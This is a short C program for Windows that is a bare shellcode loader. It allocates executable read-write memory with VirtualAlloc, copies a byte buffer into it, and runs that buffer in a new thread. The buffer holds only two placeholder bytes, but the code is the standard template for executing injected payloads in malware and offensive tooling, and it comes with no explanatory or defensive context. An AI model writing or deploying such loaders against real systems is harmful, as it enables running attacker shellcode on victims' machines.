#include<windows.h>
unsigned char buf[] = "\xaa\xaa";
void main() {
	LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(add, buf, sizeof(buf));
	HANDLE hand = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)add,NULL,NULL,NULL);
	WaitForSingleObject(hand,INFINITE);
}